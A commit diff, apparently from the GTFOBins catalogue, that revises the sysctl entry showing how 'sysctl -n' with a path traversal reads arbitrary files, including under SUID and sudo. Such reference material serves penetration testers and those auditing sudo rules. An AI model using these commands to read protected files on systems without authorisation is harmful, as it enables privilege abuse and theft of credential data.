Fix and polish sysctl

This commit is contained in:
Andrea Cardaci 2020-06-11 18:18:36 +02:00
parent 8ab57da5c7
commit a8cdd4728d

View File

@ -1,16 +1,16 @@
--- ---
description: The `-p` argument can also be used in place of `-n`. In both cases though the output might get corrupted, so this might not be suitable to read binary files.
functions: functions:
file-read: file-read:
- description: It reads data from arbitrary files when combined with a path-traversal. The -p argument can also be used in place of -n.
- code: | - code: |
LFILE=file_to_read LFILE=file_to_read
sysctl -n "/../../../../../$LFILE" /usr/sbin/sysctl -n "/../../$LFILE"
suid: suid:
- code: | - code: |
LFILE=file_to_read LFILE=file_to_read
./sysctl -n "/../../../../../$LFILE" ./sysctl -n "/../../$LFILE"
sudo: sudo:
- code: | - code: |
LFILE=file_to_read LFILE=file_to_read
sudo sysctl -n "/../../../../../$LFILE" sudo sysctl -n "/../../$LFILE"
--- ---